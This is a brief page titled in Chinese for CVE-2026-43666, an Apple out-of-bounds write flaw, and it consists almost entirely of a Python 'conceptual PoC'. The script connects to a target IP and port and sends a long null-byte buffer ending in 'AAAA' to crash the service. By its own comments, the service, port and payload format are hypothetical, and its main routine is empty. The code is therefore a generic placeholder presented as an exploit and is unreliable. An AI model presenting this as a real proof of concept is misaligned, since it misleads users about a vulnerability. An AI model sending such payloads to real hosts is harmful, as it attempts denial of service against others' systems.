CVE-2026-43666 Apple多系统越界写入漏洞

import socket # Conceptual PoC for CVE-2026-43666 # This script simulates sending a malformed packet to trigger the out-of-bounds write. # Note: The specific vulnerable service and port are hypothetical based on the description. def trigger_dos(target_ip, target_port): try: # Construct a payload designed to bypass bounds checking # The specific structure depends on the vulnerable service protocol. payload = b"\x00" * 10000 + b"\x41\x41\x41\x41" print(f"[*] Sending payload to {target_ip}:{target_port}...") # Establish connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(payload) sock.close() print("[+] Payload sent successfully. Check if the target crashed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Usage: python3 poc.py <IP> <PORT> pass